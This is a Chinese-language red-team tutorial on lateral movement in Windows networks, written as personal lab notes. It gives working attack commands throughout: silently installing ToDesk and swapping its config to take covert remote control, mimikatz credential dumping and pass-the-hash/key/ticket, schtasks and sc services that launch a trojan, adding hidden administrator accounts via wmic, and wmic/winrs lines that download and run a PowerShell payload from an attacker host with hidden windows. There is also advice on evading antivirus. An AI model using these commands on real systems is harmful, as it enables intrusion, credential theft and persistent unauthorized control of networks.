横向移动的方式

1、通过WEB漏洞,域内的web服务

2、通过远程桌面

3、通过账号密码

4、通过不安全的配置,不算漏洞,属于管理员的失误

5、通过系统漏洞

远控工具横向移动

通过RDP横向移动

远程桌面的利用条件:

1、开启了3389端口,也可能改了默认端口

2、防火墙等安全设备没有禁止

3、网络必须相通,互相ping通

4、拥有账号和密码(或者Hash)(可以是本身的账号也可以是自己添加的)

一、查询3389的开放情况

1、可以使用netstat –ano查看端口开放情况

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f 开启3389

开启关闭端口好像需要管理员权限,关闭3389把上面的0改1就行

3、查看RDP是否是3389

reg query
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp"
/V PortNumber

二、使用账号密码进行连接,如果说没有抓到明文的密码只有Hash值,可以使用Hash值进行连接。

privilege::debug

sekurlsa::pth /user:administrator /domain:IP /ntlm:Hash "/run:mstsc.exe
/restrictedadmin"

上述错误表名这个WinSer2008不行,是这个电脑的问题,win10也好像不行,多用几台电脑试试,Win11也试了没成功,好像ser2016可以

也可以自己添加一个账号进行远程登录(先添加,后移动到管理员组,否则有可能连不上,就算连上权限也比较低)

net user 用户名 密码 /add //添加

net localgroup Administrator 用户名 /add

利用Todesk进行横向移动

全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,运行安装包增加一个/S参数可以实现静默安装.

ToDesk1.exe /S (安装包名字不能为ToDesk,与程序名字冲突)

步骤:

下载todesk安装包通过CS上传到目标主机静默安装替换配置文件kill掉todesk的进程连接

(一)静默安装

运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需要将目标主机的配置文件替换为我们本地的配置文件即可。

(64位的配置文件默认在C:\Program Files\ToDesk\config.ini)

(32位的应该就是把Program Files替换成Program Files (x86))

配置文件

(二)将我们本地的ToDesk修改为自己想要的密码,然后重启后将配置文件复制出来利用CS上传到目标主机。

先删除目标主机的,再上传

(三)然后找到ToDesk的进程关闭掉重启就行了

tasklist 查找进程

taskkill /pid 1964 /F

taskkill /pid 3132 /F //F参数为强制终止进程

重启目标主机的ToDesk,再查看生成的设备代码,密码就是我们替换掉的

(四)再利用ToDesk即可远程连接

利用远控工具GoToHTTP横向移动

GotoHTTP工作在B2C模式,在目标主机上面安装之后,直接在本地主机通过浏览器可以直接远控。更大的优点是软件体量小。

下载链接:https://www.gotohttp.com/goto/download.12x

(一)将软件上传到目标主机,并运行,会在当前目录下自动生成一个配置文件

(二)下载并打开这个配置文件

(三)访问文件里面的地址和账户密码即可远控

不过这个开始收费了(2024.1.19)

利用远控工具RustDesk横向移动

下载链接https://gitee.com/rustdesk/rustdesk/releases

  1. 将工具上传到目标主机上并运行

会生成一个配置文件,配置文件地址如下:

C:\Users\用户名\AppData\Roaming\RustDesk\config\ RustDesk.toml

刚开始的时候配置文件里面没有密码,像这样

只有用户在这里查看密码之后配置文件里面才有密码,所以我们只能将这个文件下载下来自己写密码之后替换即可。

  1. 重启RustDesk服务,密码即为我们替换的

IPC$横向移动

文件共享

文件共享是指主动地在网络上共享自己的计算机文件。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$、admin$)可以实现对这些默认共享目录的访问(如果当前主机(A)用户的账号是administrator,目标机器(B)的账户administrator和A的administrator密码相同,不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证),当然要同时登录的是administrator账号,采用的是挑战响应协议。

IPC$连接方式:

net use \\IP\ipc$ "密码" /user:"用户名" (工作组)

net use \\域名\ipc$ "域成员密码" /user:域名\域成员账号(域用户)

net use \\IP\ipc$ /del (删除IPC$)

IPC的利用前提

1、开启了139、445端口IPC$可以实现远程登录及对默认共享资源的访问,445端口可以实现对共享文件打印机的访问。

2、管理员开启了默认共享默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$、admin$)可以实现对这些默认共享目录的访问(netshare)。

3、必须知道对方机器的用户名和密码

net share c$ /del 删除共享

net share zhangsan=C:\ 设置C盘共享,共享名字为zhangsan

不同用户IPC$下的命令权限

假设靶机登录的是本地普通管理员,分别用如下账户去与目标机器建立IPC$连接

反正实战情况下行就行,不行就换个方法,就是试。

IPC$和计划任务配合横向

Windows XP 使用 at命令,之后的电脑使用 schtasks


假设我们以及拿下域内一台主机,通过信息搜集发现其他主机,可以建立IPC$通信,先把木马复制过去,再建立一个计划任务启动即可上线。

schtasks /create /s 192.168.41.30 /u administrator /p 123.com /tn test
/tr C:/Users/Administrator/Desktop/mua.exe /sc onstart /RU System /F

/s (system)在哪个系统运行

/u /p 用户名和密码

/tn (taskname)任务名称

/tr 路径

/sc 任务频率 onstart即开机自启

/RU 用什么用户身份去运行

/i表示 "Interactively",意思是以交互方式运行计划任务

/F强制运行

schtasks /run /s 192.168.41.30 /i /tn "test"

我的实验也不知道为啥拒绝访问。普通管理员和system权限都试了。

IPC$和服务的配合横向

前面的计划任务不是创建IPC连接之后还是需要账号密码,因为它走的不是IPC认证,而服务就是走的IPC认证,建立IPC连接之后不再需要输入账号密码。

创建服务:

sc \\IP地址 create test binpath=空格"cmd.exe /c c:\mua.exe"

运行服务sc \\192.168.41.10 start test1

删除服务sc \\192.168.41.10 delete test1

当我没有把木马通过IPC$复制到要横向的主机时,启动服务没能上线,如下

我把木马复制到对方C盘下面启动服务才上线。

IPC$和盘符映射横向

盘符映射就是将远程的共享盘映射到自己的电脑上.比如如下映射到自己的K盘

net use k:(空格)\\IP\C$ (前提是建立IPC的连接下)

然后可以将木马复制到映射的盘符上去

就是再运行这个木马后上线的还是已经拿下的这台主机,目标主机还得用前面的计划任务或者服务上线。

PTH哈希传递攻击

PTH的原理-NTLM认证

PTH的条件:

1、有管理员的 NTLM-Hash ,并且目标机器开放445端口

2、内网中使用相同的账号密码

3、开放了445端口

使用mimikatz进行PTH攻击

首先得抓取密码,前面写了

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

然后 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:用户名
/domain:域名或者IP /ntlm:NTLM-HASH值"

使用psexec.exe进行PTH攻击

psexec.exe 域名/用户名@IP -hashes LM:NTLM

LM一般默认禁用,用aad3b435b51404eead3b435b51404ee填充即可

先用域普通管理员ZhangSan测试,是可以成功的

不同用户下的PTH区别(权限)

在本地账号的情况下:

Administrator 可以进行PTH传递攻击

本地普通管理员,不可以进行PTH攻击(除过早期的电脑 2003、xp)

本地的普通用户,不可以进行PTH攻击

域账号

Administrator 可以用来PTH

域普通管理员 可以用来PTH

域普通用户 不可以(默认)

Hash碰撞查询可利用的PTH

当我们获取的一台电脑的Hash值之后(本地administrator)可以使用hash碰撞的方式进行碰撞,(本质就是批量进行hash传递)找出相同的账号密码的机器。

域环境不需要这样,是因为当我们获取一个域普通管理员都可以横向到域内的任一台主机,不需要这样批量去试,从信息搜集中就知道有哪些主机。

  1. Powershell脚本

Invoke-TheHash,通过把NTLM-hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。

一般是把上述文件夹整个传到目标主机,然后使用上面两个脚本,先导入

然后执行扫描 Invoke-TheHash -Type WMIExec -Target IP -Username 用户名
-Hash NTLM哈希值

当在CS上面进行实验时,不能同时导入两个脚本执行,把压缩包上传上去之后用unzip解压,然后进入到文件夹,这时候就只需要导入后缀名为psd1的那个脚本,那个脚本是上面两个脚本的入口。


shell powershell -exec bypass -command "&{import-module
.\Invoke-TheHash.psd1;Invoke-TheHash -Type WMIExec -Target IP网段
-Username 用户名 -Hash NTLM哈希值}"

[*]实验时如果出现如下情况,是因为没有权限执行脚本(禁止执行)

get-executionpolicy 显示 Restricted  即不允许执行任何脚本。

解决办法就是修改策略set-executionpolicy remotesigned

(二) CrackMapExe工具

crackmapexec.exe IP网段 -u 用户名 -H LM:NTLM

这个工具也得整个文件夹传上去,还有个主机没探测出来,建议方法一。

PTH之后的上线

(一)在CS中上线

在CS中可以用那些插件横向上线,也可以点击左上角这个按钮查看之前扫描过的主机,然后进行横向也可以。

如果远控了一台主机桌面,可以用mimikatz直接上线,也就是用前面IPC$横向那样,复制木马到目标主机->计划任务or服务上线。不同点就是通过PTH认证之后就不用再输入账号密码了。

在CS中还可以直接用JUMP命令进行横向,跟上面是一样的,横向成功。

要是直接在CS用用上传的mimikatz那个弹窗不好处理,就直接用插件。

使用其他工具进行PTH横向上线

一个工具包Impacket,使用python编写,支持win。地址如下

https://www.secureauth.com/labs/open-source-tools/impacket/

主要就是这几个工具,第一个工具只适合低版本电脑例如ser2003、XP,基本没啥用,命令格式如下,支持明文密码和Hash值。

用户名(域账号):密码@IP地址

用户名(域账号)@IP地址 -hashes LM:NTLM

实测smbexec.exe这个工具最好用。

但是在CS中不能直接用这样的命令,因为那个交互的命令窗口显示不出来,我测试了把whoami放在命令的几个位置的失败了,估计这几个工具要用的话只能拿到主机的RDP才好用。

利用PTH在mimikatz下进行RDP

一般是高版本的电脑才可以,需要开启"Restricted Admin
Mode",在Windows8.1和Windows Server 2012R2上默认开启。

开启命令REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

远程桌面连接命令

sekurlsa::pth /user:administrator /domain:192.168.41.10
/ntlm:afffeba176210fad4628f0524bfe1942 "/run:mstsc.exe
/restrictedadmin"

PTK秘钥传递攻击

PTK原理:PTK使用AES256或者AES128的方式进行传递,PTK攻击只能用于Kerberos认证中,NTLM认证中没有。

AESKEY是Kerberos协议中使用的,所以一般域用户才有AESKEY,本地用户没有AESkey。

使用mimikatz抓取AESKEY的命令

"privilege::debug" "sekurlsa::ekeys"

PTK传递认证的条件:①必须是域环境,使用域账号才可以进行PTK

②支持AES进行认证

smbexec.exe 完整域名/用户名@域中机器名 -aesKey Key值

上面命令中@IP我测试还不行嘞,报错如下图。psexec、wmiexec和dcomexec三个工具我也没成功,反正实战中就是这个工具不行就试试其他的。

利用PTK在CS中上线

如果是一些特殊账号的KEY被我们知道利用PTK传递攻击,我们可以生成对应账号的TGT票据,然后将票据导入到内存中,就可以访问对方的电脑,可以使用
getTGT工具申请TGT,然后将TGT导入内存中。

getTGT.exe 完整域名/用户名 -aesKey Key值

第二步:将TGT注入到内存,这里我们使用mimikatz

Kerberos::ptc 票据名字

注入成功然后正常访问别的主机就行了,跟黄金票据有一点像,只不过黄金票据是伪造的,我们这个是抓取的。

PTT票据传递攻击

原理:PTT只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的,进行票据传递,不需要提权,域用户或者system用户就可以。

PTT传递认证的条件:①必须是域环境,域内才可以PTT②必须拥有相应的票据(主要是域管理员票据)

利用getTGT申请不同用户的票据(这里实验我们直接使用明文密码生成票据)

getTGT.exe 完整域名/用户名:密码

然后利用mimikatz将票据打入内存,跟前面《利用PTK上线》一样,实验证明域普通管理员的票据都是可以任意横向的,域普通用户不行。

如果想要清除内存的票据可以使用

klist purge (cmd命令)

kerberos::purge (mimkatz命令)

Ccache和Kirbi票据转化

不同的工具生成的票据后缀不一样常见的有两种Ccache和Kirbi

例如:getTgt生成的是Ccache, Kekeo生成Kirbi

Kekeo的命令Tgt::ask /user:域用户名 /domain:域名 /password:密码

不管生成哪种,都可以使用mimikatz进行传递:

Kerberos::ptc (传递后缀名为Ccache)

Kerberos::ptt (传递后缀名为Kirbi)

使用ticketConverter.exe将两种格式的票据进行相互转化

ticketConverter.exe 票据1全名 票据2全名

查看-清除-导出票据

如果拿下的主机刚好登录的是一个高权限的域用户,那么内存中就一定存在这个用户的票据,就不需要再传递了,可以直接访问其他主机。

查看内存中的票据kerberos::list

kerberos::tgt

清除kerberos::purge

导出票据(导出票据需要提权)Sekurlsa::tickets /export

两个工具的原理、区别

psexec工具

只需要对方默认开启共享和开启445、135端口就行。微软官方下载地址:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools

微软官方这个跟前面用的那个psexec工具原理都是一样的,微软这个就是大小小一些,功能少一点。

PsExec -accepteula \\IP -u 用户名 -p 密码 -s cmd.exe

原理:一、先用提供的账号和密码进行NTLM认证

二、认证成功后,连接IPC$,admin$共享文件,以此将PSEXESVC.exe上传到C:/WINDOWS目录下,因为admin$是这个目录。

三、调用svcctl并创建PSEXESVC服务,该服务是运行PSEXESVC.EXE程序。

四、调用服务创建命名管道。命名管道基于smb协议通信,它是用来让两个进程间进行通信的命名管道有点类似于socket连接,是用来传输数据的

但是pcexec会留下大量日志,因为涉及到认证和创建服务这些。

SMBexec工具

原理:

1、建立IPC$连接

2、通过服务执行命令

3、将命令放在%temp%/execute.bat中

4、运行execute.bat文件,将结果存储在C:/__output文件中

5、删除execute.bat

6、通过客户端读取目标机器的C:/__output文件中内容,删除服务

例如通过SMB在目标主机上执行whoami命令

首先目标主机会执行下面这条命令,大概意思就是用cmd的方式输出后面的命令,写入temp目录下的execute.bat文件中。

然后再运行这个bat文件,将结果写入output,最后再去读取。

利用WMI横向移动

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI服务使用DCOM或WinRM协议,在使用wmiexec进行横向移动时,windows操作系统默认不会将WMI的操作记录在日志中。因此很多APT开始使用WMI进行攻击。

主要命令为如下形式

wmic /node:IP /user:用户名 /password:密码 process [要执行的命令]

例如远程给对方添加一个用户

wmic /node:192.168.41.10 /user:administrator /password:123.com process
call create "cmd.exe /c net user test 123.com /add && net localgroup
administrators test /add"

添加成功,到对方机器上看确实添加了一个管理员用户test

执行powershell上线命令样例

wmic /node:目标IP /user:用户名 /password:密码 process call create
"powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('ps脚本地址'))\""

RPC协议分析- OXIDResolve接口

WMIC通信主要就是用的DECRPC(简称RPC)协议, 默认端口135。

首先使用WMI进行远程连接目标机器然后进行wireshark抓包分析。

产生了一堆流量,首先分析如下四个数据包

第一个数据包AB,即攻击机向受害者发送说我要调用你IOXID这个接口啦

第二个数据包BA,受害者说好吧,那你来调吧,没有关键信息

第三个数据包AB,利用dcom发起OXID接口的请求数据包

第四个数据包BA,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址
(所有网卡的IP地址),IPV6地址(如果有)等

分析上述流量包可知,该接口的访问是未授权的(这几个包并没有进行认证,只用使用RPC调用OXID就可以),但是可以返回受害者的相关信息。FOFA、GOBY,国内红队大部分扫描器都开始集成这个功能,甚至集成到了CS的插件脚本。

RPC协议分析-NTLMSSP

由于RPC是采用非加密传输的,通信数据安全无法得到保证,而NTLMSSP就可向这一类RPC提供安全服务。

接下来主要分析这四个数据包

第一个数据包AB,包含了认证方式NTLM,还有即将请求的接口类型

第二个数据包BA,因为远程调用接口,需要进行认证,这里使用NTLM挑战响应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息

第三个数据包是response值,AB,用于认证

第四个数据包AB,认证成功之后接着远程调用isystemactivator接口的remotecreateinstance,函数作用是为实际对象创建对象引用。

利用WinRM横向移动

Windows 远程管理 (Windows Remote Management)简称WinRM。

WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。Server2012开始,该服务便集成在系统中默认开启,家庭版的电脑是默认关闭的这种远程连接。

WinRM端口:HTTP是5985端口进行通信;HTTPS是5986端口来进行通信。

开启WinRM服务:

powershell运行enable-psremoting或者cmd运行winrm quickconfig

ps关闭:Disable-PSRemoting

使用winrs命令运行WinRM

winrs -r:https://IP:5985 -u:用户名 -p:密码 "ipconfig"

如果运行命令出现如下告警时,就先运行一下这条命令,信任客户端

winrm set winrm/config/Client @{TrustedHosts="*"}

使用WINRM进行通信也是走NTLM挑战响应协议。

Winrm通信特征还是很明显的

1. 默认情况下,WinRM 使用 TCP 端口号 5985(HTTP)和
5986(HTTPS)进行通信。

2. WinRM支持不同类型的身份验证和安全协议,如基本身份验证、NTLM 和
Kerberos

3. 请求的地址的wsman

这种横向移动的方式杀软不会触发,只需要将命令换成上线命令就行了,这里主需要对powershell做免杀就行了。

这里是我在本地环境下做实验成功上线主机的完整命令

winrs -r:http://192.168.41.10:5985 -u:administrator -p:123.com
"powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.111.1:9988/Desktop/payload.ps1\'))\"\

在CS上运行出错了,没排查出来原因,就把上面命令写在了bat脚本里面都还报错。

横向移动工具

链接:https://pan.baidu.com/s/1pHVE1JHz9Hxc6WL8Y7jL7A?pwd=woli

提取码:woli